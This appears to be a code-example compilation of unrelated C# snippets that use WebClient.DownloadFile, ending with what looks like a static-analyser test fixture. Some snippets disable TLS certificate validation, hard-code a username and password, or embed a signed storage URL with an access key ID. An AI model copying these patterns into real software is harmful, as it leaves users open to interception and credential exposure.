            int current = ParseVersionNumber(newVersion);

            savegameCompatible = config[curVersion].GetBool("savegame_compatible");

            File.Delete(basePath + "vc.txt");

            return(current > version);
        }
Exemple #33
0
        static ErrorCode DownloadNodeJs(string version)
        {
            ErrorCode ret_code = ErrorCode.NO_ERROR;

            string dir      = System.IO.Path.Combine(_NodeDir, version);
            string download = System.IO.Path.Combine(_NodeDir, "node.zip");

            if (!System.IO.Directory.Exists(_NodeDir))
            {
                System.IO.Directory.CreateDirectory(_NodeDir);
            }
            if (!System.IO.Directory.Exists(dir))
            {
                System.Console.WriteLine("node(" + version + ")をインストール中");
                string url = "";
                if (Environment.Is64BitOperatingSystem)
                {
                    url = string.Format(Properties.Settings.Default.Win64URL, Properties.Settings.Default.NodeJsURL, version);
                }
                else
                {
                    url = string.Format(Properties.Settings.Default.Win32URL, Properties.Settings.Default.NodeJsURL, version);
                }
                System.Net.WebClient wc = new System.Net.WebClient();
                System.Diagnostics.Debug.WriteLine("ダウンロード: " + url + " -> " + download);
                wc.DownloadFile(url, download);
                wc.Dispose();
                var node_dir = ExtractToDirectoryExtensions(download, _NodeDir, true);
                node_dir = System.IO.Path.Combine(_NodeDir, node_dir);
                System.IO.File.Delete(download);
                System.IO.Directory.Move(node_dir, dir);
            }
            return(ret_code);
        }
Exemple #34
0
        private void buttonSaveToImgFolder_Click(object sender, EventArgs e)
        {
            try
            {
                FolderBrowserDialog folderBrowser = new FolderBrowserDialog();
                if (folderBrowser.ShowDialog() != DialogResult.OK)
                {
                    return;
                }
                imgFolder = folderBrowser.SelectedPath;
                int i = Directory.GetFiles(imgFolder, "*.jpg").Length;
                foreach (var item in listBoxImgSrc.Items)
                {
                    string urlPath = item.ToString();

                    Uri uri = new Uri(urlPath);
                    System.Net.WebClient webClient = new System.Net.WebClient();
                    webClient.Proxy = null;
                    webClient.DownloadFile(urlPath, Path.Combine(imgFolder, i + ".jpg"));
                    i++;
                }
            }
            catch (Exception ex)
            {
                System.Windows.Forms.MessageBox.Show(ex.Message);
            }
        }
        public void PerformanceDownloadTest()
        {
            if (System.IO.File.Exists(System.Windows.Forms.Application.StartupPath + "\\downloadspeed.txt"))
            {
                dBaselineDownloadSpeed = double.Parse(System.IO.File.ReadAllText(System.Windows.Forms.Application.StartupPath + "\\downloadspeed.txt"));
            }
            else
            {
                System.Net.WebClient wc = new System.Net.WebClient();

                string tempName = System.IO.Path.GetTempFileName();

                double starttime = Environment.TickCount;

                wc.DownloadFile("http://download.mosaicdataservices.com/5MB.zip", tempName);

                double stoptime = Environment.TickCount;

                double secs  = Math.Floor(stoptime - starttime) / 1000;
                double sec2  = Math.Round(secs);
                double kbsec = Math.Round(1024 / secs);

                dBaselineDownloadSpeed = kbsec;

                System.IO.File.WriteAllText(System.Windows.Forms.Application.StartupPath + "\\downloadspeed.txt", dBaselineDownloadSpeed.ToString());

                System.IO.File.Delete(tempName);
            }
        }
Exemple #36
0
        /// <summary>
        /// 保存远程文件到本地(如果是图片,动态不变)
        /// </summary>
        /// <param name="FilePath">远程文件URL</param>
        /// <param name="Path">保存的本地路径</param>
        /// <returns></returns>
        public static string DownloadFile(string Path, int iFiles, string FilePath)
        {
            if (string.IsNullOrEmpty(FilePath))
            {
                return(string.Empty);
            }
            string Return   = string.Empty;
            string fileName = string.Empty;
            string fileExt  = string.Empty;
            string DirPath  = string.Empty;

            fileExt = GetFileExt(FilePath);
            //生成随机文件名
            fileName = DT.getDateTimeNum() + iFiles + fileExt.ToLower();
            if (CreateDirectory(Path, out DirPath))
            {
                try
                {
                    System.Net.WebClient down = new System.Net.WebClient();
                    down.DownloadFile(FilePath, System.Web.HttpContext.Current.Server.MapPath(DirPath) + fileName);
                    down.Dispose();
                    Return = DirPath + fileName;
                }
                catch
                {
                    Return = FilePath;
                }
            }
            return(Return);
        }
        protected virtual void DownloadLeaflet(ILeaflet leaflet)
        {
            try
            {
                if (leaflet.Status == LeafletStatus.Ready)
                {
                    string downloadedFileName = PrepareDownloadFileName(leaflet);

                    _client.DownloadFile(new Uri(leaflet.FileDownloadUrl), downloadedFileName);

                    leaflet.DownloadedFileName = downloadedFileName;
                }
            }
            catch (WebException e)
            {
                HttpWebResponse response = (HttpWebResponse)e.Response;
                leaflet.Status = LeafletStatus.StopProcessing;
                Console.WriteLine("Error downloading file");
            }
            catch (Exception e)
            {
                leaflet.Status = LeafletStatus.StopProcessing;
                Console.WriteLine("Global Error");
            }
        }
Exemple #38
0
 public static void DownloadFile(string uri, string fileName)
 {
     using (var client = new System.Net.WebClient())
     {
         client.DownloadFile(uri, fileName);
     }
 }
Exemple #39
0
        private void button2_Click(object sender, EventArgs e)
        {
            string strImageURL = "http://test-imaging.oss-cn-hangzhou.aliyuncs.com/Picutre/1730a8b0-3fc1-4c94-8f78-cc53447b5d2d/1366/2020/dcea804c-e51a-40f8-b6a3-bea9e9f20194.png?Expires=3738056270&OSSAccessKeyId=w0hFljLIV1wbGBWX&Signature=4TLiKYxPc0EukRWsjNguWJbXrec%3D";

            System.Net.WebClient webClient = new System.Net.WebClient();
            webClient.DownloadFile(strImageURL, @"D:\image\1.png");
        }
Exemple #40
0
        static void DownloadGeoLocaionDb()
        {
            //Country DB  Exist Check, Download,Decompless.
            if (System.IO.File.Exists(GEOLOCATION_COUNTRY_DB_FILE) == false)
            {
                Console.WriteLine("Geolocation Country DB file not found.");
                Console.WriteLine("Geolocation Country DB Download...");

                var wc = new System.Net.WebClient();
                wc.DownloadFile(GEOLOCATION_COUNTRY_DB_DOWNLOAD_SITE, GEOLOCATION_COUNTRY_DB_FILE_GZip);
                Console.WriteLine("Geolocation Country DB Download Complete.");

                //and unzip
                GZdecompress(GEOLOCATION_COUNTRY_DB_FILE_GZip);
            }

            //City DB  Exist Check, Download,Decompless.
            if (System.IO.File.Exists(GEOLOCATION_CITY_DB_FILE) == false)
            {
                Console.WriteLine("Geolocation DB file not found.");
                Console.WriteLine("Geolocation DB Download...");

                var wc = new System.Net.WebClient();
                wc.DownloadFile(GEOLOCATION_CITY_DB_DOWNLOAD_SITE, GEOLOCATION_CITY_DB_FILE_GZip);
                Console.WriteLine("Download Complete.");

                //and unzip
                GZdecompress(GEOLOCATION_CITY_DB_FILE_GZip);
            }
        }
Exemple #41
0
        /// <summary>
        /// 远程提取一个文件保存至服务器上(使用WebClient)
        /// </summary>
        /// <param name="url">一个URI上的文件</param>
        /// <param name="savePath">保存文件</param>
        public bool DownloadFileByWebClient(string url, string savePath)
        {
            if (String.IsNullOrEmpty(url) || String.IsNullOrEmpty(savePath))
            {
                return(false);
            }
            System.Net.WebClient wc = new System.Net.WebClient();
            try
            {
                string dirPath = savePath.Substring(0, savePath.LastIndexOf(@"\") + 1);
                Helper.Instance.CreateFolder(dirPath);

                //避免出现 远程服务器返回错误:(403)已禁止 错误
                wc.Credentials = CredentialCache.DefaultCredentials;         //获取或这设置发送到主机并用于请求进行身份验证的网络凭据
                wc.Headers.Set("User-Agent", "Microsoft Internet Explorer"); //设置标头
                wc.DownloadFile(url, savePath);
            }
            catch
            {
                return(false);
            }

            wc.Dispose();
            return(true);
        }
Exemple #42
0
        public static byte[] downloadAndReturnCDNFile(string url)
        {
            url = url.ToLower();

            string cleanname = url.Replace("http://" + cdns.entries[0].hosts[0], "");

            if (!File.Exists(cacheDir + cleanname))
            {
                using (var webClient = new System.Net.WebClient())
                {
                    try
                    {
                        if (!Directory.Exists(cacheDir + cleanname))
                        {
                            Directory.CreateDirectory(Path.GetDirectoryName(cacheDir + cleanname));
                        }
                        webClient.DownloadFile(url, cacheDir + cleanname);
                    }
                    catch (WebException e)
                    {
                        Console.WriteLine(e.Message);
                    }
                }
            }

            return(File.ReadAllBytes(cacheDir + cleanname));
        }
        public static async Task <JToken[]> LoadCardJson(string api, string name)
        {
            // Download json
            using (var client = new System.Net.WebClient())
            {
                client.DownloadFile(api, $"{name}_download.json");
            }

            string json = "";

            using (var fs = File.OpenRead($"{name}_download.json"))
                using (var sr = new StreamReader(fs, new UTF8Encoding(false)))
                    json = await sr.ReadToEndAsync();

            // Create Json object
            JObject o = JObject.Parse(json);

            // Create JToken array
            JToken[] array = o["cargoquery"].Children().ToArray();

            // Normalize Array
            for (int i = 0; i < array.Length; i++)
            {
                array[i] = array[i]["title"];
            }

            return(array);
        }
        private void backgroundWorkerDownloadLanguages_DoWork(object sender, DoWorkEventArgs e)
        {
            // Download / update languages:
            try
            {
                System.Net.WebClient wc = new System.Net.WebClient();
                wc.CachePolicy = new System.Net.Cache.RequestCachePolicy(System.Net.Cache.RequestCacheLevel.BypassCache);

                byte[] raw     = wc.DownloadData("https://raw.githubusercontent.com/FelisDiligens/Fallout76-QuickConfiguration/master/Fo76ini/languages/list.txt");
                String encoded = Encoding.UTF8.GetString(raw).Trim();

                String[] list = encoded.Split('\n', ',');

                foreach (String file in list)
                {
                    wc.DownloadFile("https://raw.githubusercontent.com/FelisDiligens/Fallout76-QuickConfiguration/master/Fo76ini/languages/" + file, Path.Combine(Localization.languageFolder, file));
                }

                errorMessageDownloadLanguages = null;
                messageDownloadLanguages      = String.Join(", ", list);
                //MsgBox.Get("downloadLanguagesFinished").FormatText(String.Join(", ", list)).Popup(MessageBoxIcon.Information);
            }
            catch (WebException ex)
            {
                errorMessageDownloadLanguages = ex.ToString();
                messageDownloadLanguages      = null;
                //MsgBox.Get("downloadLanguagesFailed").FormatText(ex.ToString()).Popup(MessageBoxIcon.Error);
            }
            catch
            {
                errorMessageDownloadLanguages = "Unknown error";
                messageDownloadLanguages      = null;
                //MsgBox.Get("downloadLanguagesFailed").FormatText("Unknown error").Popup(MessageBoxIcon.Error);
            }
        }
Exemple #45
0
 public static void DownloadFile(string url, string target)
 {
     using (var client = new WebClient())
     {
         client.DownloadFile(url, target);
     }
 }
Exemple #46
0
        public override void Use(Player p, string message)
        {
            if (p == null) { Player.SendMessage(p, "This command can only be used in-game!"); return; }
            if (!Directory.Exists("extra/copy"))
                Directory.CreateDirectory("extra/copy");

            if (!File.Exists("extra/copy/christmastree.copy"))
            {
                Player.SendMessage(p, "ChrismasTree copy doesn't exist. Downloading...");
                try
                {
                    using (WebClient WEB = new WebClient())
                        WEB.DownloadFile("http://dekemaserv.com/xmas.copy", "extra/copy/christmastree.copy");
                }
                catch
                {
                    Player.SendMessage(p, "Sorry, downloading failed. Please try again later.");
                    return;
                }
            }
            Command.all.Find("retrieve").Use(p, "christmastree");
            Command.all.Find("paste").Use(p, "");
            ushort[] loc = p.getLoc(false);
            Command.all.Find("click").Use(p, loc[0] + " " + loc[1] + " " + loc[2]);
        }
Exemple #47
0
		/// <summary>
		/// Update guignol's package datas.
		/// </summary>
		/// <exception cref='GuignolException'>
		/// Is thrown when Guignol failed to update package datas.
		/// </exception>
		public static void Update()
		{
			Console.WriteLine("Updating...");
			var Dl=new List<Package>();
			try
			{
				ServicePointManager.ServerCertificateValidationCallback = (a,b,c,d) => true; 
				foreach(string s in Settings.RepUrls)
				{
					using(var wc = new WebClient())
					{
						wc.DownloadFile(s + ".repinfo","Settings/tmp");
						Console.WriteLine("Hit: "+s);
						Dl.AddRange(Magic.XmlFRead<Package[]>("Settings/tmp"));
					}
				}
				File.Delete("Settings/tmp");
				Settings.PackList = Dl.ToArray();
				Console.WriteLine("Repository datas is updated successfully.");
			}
			catch(Exception e)
			{
				throw new GuignolException("Failed to update." + e.Message);			
			}
		}
        public static void DownloadAndInstallPython()
        {
            Logger.Debug("Downloading python...");

            var url = PythonManager.PythonDownloadUrl;
            var destinationDir = WakaTimeConstants.PluginConfigDir;

            // Check for proxy setting
            var proxy = WakaTime.GetProxy();

            var localFile = Path.Combine(destinationDir, "python.zip");

            var client = new WebClient { Proxy = proxy };

            // Download embeddable python
            client.DownloadFile(url, localFile);

            Logger.Debug("Finished downloading python.");

            // Extract wakatime cli zip file
            ZipFile.ExtractToDirectory(localFile, Path.Combine(destinationDir, "python"));

            Logger.Debug(string.Format("Finished extracting python: {0}", Path.Combine(destinationDir, "python")));

            try
            {
                File.Delete(localFile);
            }
            catch { /* ignored */ }
        }
Exemple #49
0
        public ActionResult CatchAdd(Site site)
        {
            ResultInfo resultInfo = new ResultInfo(1, "验证不通过");

            site.SaveUrl =string.Format("/Template/{0}",site.Title);

            string content = RemoteHelper.GetWebResult(site.SourceUrl);

            //string content = @"dsfgsdfg:url(../images/category-trangle-bg.png);";
            //string thumbnail = @"(.*)\/tb\/([a-zA-Z0-9_\-\/]+)\/([a-zA-Z0-9]+)_(\d+)x(\d+)_(\d+)\.(jpg|gif|png|bmp)$";

            string regu = @"url\((\.{0,2})\/img\/.{0,}\)";

            MatchCollection matches = Regex.Matches(content, regu);

            foreach (var matche in matches)
            {
                var imgUrl = matche.ToString();
                imgUrl = imgUrl.Replace("url(..", "").Replace(")", "");
                var saveImgUrl = site.SaveUrl + imgUrl;
                imgUrl = string.Format("http://www.flc.com.br/m/site{0}", imgUrl);

                WebClient client = new WebClient();

                client.DownloadFile(imgUrl, FileHelper.GetMapPath(saveImgUrl));
            }

            //FileHelper.SaveHtml(site.SaveUrl, content);

            return Json(resultInfo);
        }
Exemple #50
0
        public bool GetZipPackage(string DownloadFolder)
        {
            var ENGworksDirectory = String.Format("{0}\\{1}",
                                                     Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
                                                     "ENGworks");
            var saveDirectory = String.Format("{0}\\{1}\\{2}",
                                                 Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
                                                 "ENGworks", DownloadFolder);
            if (!Directory.Exists(ENGworksDirectory))
            {
                Directory.CreateDirectory(ENGworksDirectory);
            }

            if (!Directory.Exists(saveDirectory))
            {
                Directory.CreateDirectory(saveDirectory);
            }
            var wb = new WebClient();
            var downloadPath = String.Format("{0}/{1}/{2}", @"http://download.mepcontent.com", DownloadFolder,
                                                "package.zip");
            var savePath = String.Format("{0}\\{1}", saveDirectory, "package.zip");
            try
            {
                wb.DownloadFile(downloadPath, savePath);
                return true;
            }
            catch
            {
                MessageBox.Show("Unable to download file: " + downloadPath + " to " + savePath);
                return false;
            }
        }
Exemple #51
0
        public static int DownloadFile(System.Windows.Forms.TextBox txtStatus, string szSrcFileName, string szDestFileName)
        {
            int    iRetCode = -1;
            string szURLFile, szDestFile;

            szURLFile  = myBaseURL + szSrcFileName;
            szDestFile = myBaseDir + szDestFileName;

            try
            {
                txtStatus.Text += string.Format("Sto scaricando {0}...", szURLFile);
                // txtStatus.Refresh();
                System.Net.WebClient myWebClient = new System.Net.WebClient();
                myWebClient.DownloadFile(szURLFile, szDestFile);
                LogMessage("Scaricato " + szSrcFileName + " in " + szDestFile);
                txtStatus.Text += string.Format(" fatto.\r\n");
                // txtStatus.Refresh();
                try
                {
                    txtStatus.SelectionStart = txtStatus.Text.Length;
                    txtStatus.ScrollToCaret();
                    txtStatus.Refresh();
                }
                finally
                {
                }
                iRetCode = 0;
            }
            catch (Exception ex)
            {
                MessageBox.Show("Impossibile effettuare il download del file " + szURLFile + ":\n" + ex.Message + ". Controllare le impostazioni del proxy.");
            }

            return(iRetCode);
        }
        public static void DownloadAndInstallCli()
        {
            Logger.Debug("Downloading wakatime cli...");

            var url = WakaTimeConstants.CliUrl;
            var destinationDir = WakaTimeConstants.PluginConfigDir;

            // clean up old wakatime-master directory
            try
            {
                Directory.Delete(Path.Combine(destinationDir, "wakatime-master"), true);
            }
            catch { /* ignored */ }

            // Check for proxy setting
            var proxy = WakaTime.GetProxy();

            var localZipFile = Path.Combine(destinationDir, "wakatime-cli.zip");

            var client = new WebClient { Proxy = proxy };

            // Download wakatime cli
            client.DownloadFile(url, localZipFile);

            Logger.Debug("Finished downloading wakatime cli.");

            // Extract wakatime cli zip file
            ZipFile.ExtractToDirectory(localZipFile, destinationDir);

            try
            {
                File.Delete(localZipFile);
            }
            catch { /* ignored */ }
        }
        /* Save existing attachments of workitems to local folders of workitem ID */
        private void SaveAttachments(WorkItemCollection workItemCollection)
        {
            if (!Directory.Exists(@"Attachments"))
            {
                Directory.CreateDirectory(@"Attachments");
            }
            else
            {
                EmptyFolder(new DirectoryInfo(@"Attachments"));
            }

            System.Net.WebClient webClient = new System.Net.WebClient();
            //webClient.UseDefaultCredentials = true;
            NetworkCredential netCred = new NetworkCredential(@"APRACLOUD\PGoel", "Password");

            webClient.Credentials = netCred;
            foreach (WorkItem wi in workItemCollection)
            {
                if (wi.AttachedFileCount > 0)
                {
                    foreach (Attachment att in wi.Attachments)
                    {
                        try
                        {
                            String path         = @"Attachments\" + wi.Id;
                            bool   folderExists = Directory.Exists(path);
                            if (!folderExists)
                            {
                                Directory.CreateDirectory(path);
                            }
                            if (!File.Exists(path + "\\" + att.Name))
                            {
                                webClient.DownloadFile(att.Uri, path + "\\" + att.Name);
                            }
                            else
                            {
                                webClient.DownloadFile(att.Uri, path + "\\" + att.Id + "_" + att.Name);
                            }
                        }
                        catch (Exception ex)
                        {
                            logger.Info("Error downloading attachment for work item : " + wi.Id + " Type: " + wi.Type.Name);
                        }
                    }
                }
            }
        }
Exemple #54
0
        /// <summary>
        /// 从新闻或者文章里下载图片到本地并且替换成新本地地址
        /// </summary>
        /// <param name="htmlContent">原网页内容</param>
        /// <param name="siteDic">网站目录文件夹存放图片</param>
        /// <returns>新的网页内容</returns>
        public static string DownLoadRemotePic(string htmlContent, string siteDic)
        {
            #region ==DownLoadRemotePic==
            Hashtable htPicUrl      = new Hashtable();
            Hashtable htLocalPicUrl = new Hashtable();
            // 定义正则表达式用来匹配 img 标签
            Regex regImg = new Regex(@"<img\b[^<>]*?\bsrc[\s\t\r\n]*=[\s\t\r\n]*[""']?[\s\t\r\n]*(?<imgUrl>[^\s\t\r\n""'<>]*)[^<>]*?/?[\s\t\r\n]*>", RegexOptions.IgnoreCase);



            // 搜索匹配的字符串
            MatchCollection matches = regImg.Matches(htmlContent);
            //查找文章内容页的远程图片URL
            foreach (Match match in matches)
            {
                if (!htPicUrl.ContainsKey(match.Groups["imgUrl"].Value))
                {
                    htPicUrl.Add(match.Groups["imgUrl"].Value, match.Groups["imgUrl"].Value);
                }
            }


            string ymdDir    = DateTime.Now.ToString("yyyyMMdd");
            string returnDir = Path.Combine(siteDic, ymdDir);
            string rootPath  = System.Web.HttpContext.Current.Server.MapPath(returnDir);
            if (!Directory.Exists(rootPath))
            {
                Directory.CreateDirectory(rootPath);
            }

            //下载远程图片到本地
            string fileNamePath     = string.Empty;
            System.Net.WebClient wc = new System.Net.WebClient();

            foreach (DictionaryEntry de in htPicUrl)
            {
                string filename = CommonHelper.CreateNo() + ".jpg";//同意命名成jpg 有的网页图片地址不一定有后缀名
                fileNamePath = Path.Combine(rootPath, filename);
                try
                {
                    wc.DownloadFile(de.Key.ToString(), fileNamePath);
                    htLocalPicUrl.Add(de.Key, returnDir + "/" + filename);
                }
                catch { }
            }
            wc.Dispose();

            //替换文章中的远程图片为本地地址
            foreach (DictionaryEntry de in htPicUrl)
            {
                if (htLocalPicUrl.ContainsKey(de.Key))
                {
                    htmlContent = htmlContent.Replace(de.Key.ToString(), htLocalPicUrl[de.Key].ToString());
                }
            }
            return(htmlContent);

            #endregion
        }
Exemple #55
0
 private static void Download(string file, string to, string userName, string password)
 {
     using (System.Net.WebClient client = new System.Net.WebClient())
     {
         client.Credentials = new System.Net.NetworkCredential(userName, password);
         client.DownloadFile(@"ftp://ftp.thecybersheep.com/" + file, to);
     }
 }
        private void DownloadCloudMap(string filePath, string fileName)         // NOT USED (synchronous)
        {
            string url = GetServerUrl();

            System.Net.WebClient wc = new System.Net.WebClient();
            wc.DownloadFile(url, Path.Combine(filePath, fileName));
            wc.Dispose();
        }
Exemple #57
0
 /// <summary>
 /// downloads the stencil into the MyShapes directory
 /// </summary>
 /// <param name="pStencilfile">target stencil</param>
 private void DownloadStencils(String pStencilfile)
 {
     using (var client = new System.Net.WebClient())
     {
         client.DownloadFile($"https://spes-tool.paluno.uni-due.de/visiostencils/{pStencilfile}",
                             System.IO.Path.Combine(this._visioApplication.MyShapesPath, pStencilfile));
     }
 }
Exemple #58
0
 /// <summary>
 /// Downloads a file from the Internet (http, https)
 /// </summary>
 /// <param name="remoteUrl"></param>
 /// <param name="localFileName"></param>
 public static void DownloadFile(string remoteUrl, string localFileName)
 {
     using (var wc = new System.Net.WebClient())
     {
         wc.BaseAddress = remoteUrl;
         wc.DownloadFile(remoteUrl, localFileName);
     }
 }
Exemple #59
0
 private static void Upload(string ftpServer, string userName, string password, string filename)
 {
     using (System.Net.WebClient client = new System.Net.WebClient())
     {
         client.Credentials = new System.Net.NetworkCredential(userName, password);
         client.DownloadFile(@"ftp://ftp.thecybersheep.com/s.txt", @"C:\Users\Utilizador\Desktop\as\s.txt");
     }
 }
Exemple #60
0
        public void RSPEC_WebClient(string address, Uri uriAddress, byte[] data,
                                    NameValueCollection values)
        {
            System.Net.WebClient webclient = new System.Net.WebClient();

            // All of the following are Questionable although there may be false positives if the URI scheme is "ftp" or "file"
            //webclient.Download * (...); // Any method starting with "Download"
            webclient.DownloadData(address);                            // Noncompliant
            webclient.DownloadDataAsync(uriAddress, new object());      // Noncompliant
            webclient.DownloadDataTaskAsync(uriAddress);                // Noncompliant
            webclient.DownloadFile(address, "filename");                // Noncompliant
            webclient.DownloadFileAsync(uriAddress, "filename");        // Noncompliant
            webclient.DownloadFileTaskAsync(address, "filename");       // Noncompliant
            webclient.DownloadString(uriAddress);                       // Noncompliant
            webclient.DownloadStringAsync(uriAddress, new object());    // Noncompliant
            webclient.DownloadStringTaskAsync(address);                 // Noncompliant

            // Should not raise for events
            webclient.DownloadDataCompleted   += Webclient_DownloadDataCompleted;
            webclient.DownloadFileCompleted   += Webclient_DownloadFileCompleted;
            webclient.DownloadProgressChanged -= Webclient_DownloadProgressChanged;
            webclient.DownloadStringCompleted -= Webclient_DownloadStringCompleted;


            //webclient.Open * (...); // Any method starting with "Open"
            webclient.OpenRead(address);
//          ^^^^^^^^^^^^^^^^^^^^^^^^^^^   {{Make sure that this http request is sent safely.}}
            webclient.OpenReadAsync(uriAddress, new object());              // Noncompliant
            webclient.OpenReadTaskAsync(address);                           // Noncompliant
            webclient.OpenWrite(address);                                   // Noncompliant
            webclient.OpenWriteAsync(uriAddress, "STOR", new object());     // Noncompliant
            webclient.OpenWriteTaskAsync(address, "POST");                  // Noncompliant

            webclient.OpenReadCompleted  += Webclient_OpenReadCompleted;
            webclient.OpenWriteCompleted += Webclient_OpenWriteCompleted;

            //webclient.Upload * (...); // Any method starting with "Upload"
            webclient.UploadData(address, data);                           // Noncompliant
            webclient.UploadDataAsync(uriAddress, "STOR", data);           // Noncompliant
            webclient.UploadDataTaskAsync(address, "POST", data);          // Noncompliant
            webclient.UploadFile(address, "filename");                     // Noncompliant
            webclient.UploadFileAsync(uriAddress, "filename");             // Noncompliant
            webclient.UploadFileTaskAsync(uriAddress, "POST", "filename"); // Noncompliant
            webclient.UploadString(uriAddress, "data");                    // Noncompliant
            webclient.UploadStringAsync(uriAddress, "data");               // Noncompliant
            webclient.UploadStringTaskAsync(uriAddress, "data");           // Noncompliant
            webclient.UploadValues(address, values);                       // Noncompliant
            webclient.UploadValuesAsync(uriAddress, values);               // Noncompliant
            webclient.UploadValuesTaskAsync(address, "POST", values);
//          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

            // Should not raise for events
            webclient.UploadDataCompleted   += Webclient_UploadDataCompleted;
            webclient.UploadFileCompleted   += Webclient_UploadFileCompleted;
            webclient.UploadProgressChanged -= Webclient_UploadProgressChanged;
            webclient.UploadStringCompleted -= Webclient_UploadStringCompleted;
            webclient.UploadValuesCompleted -= Webclient_UploadValuesCompleted;
        }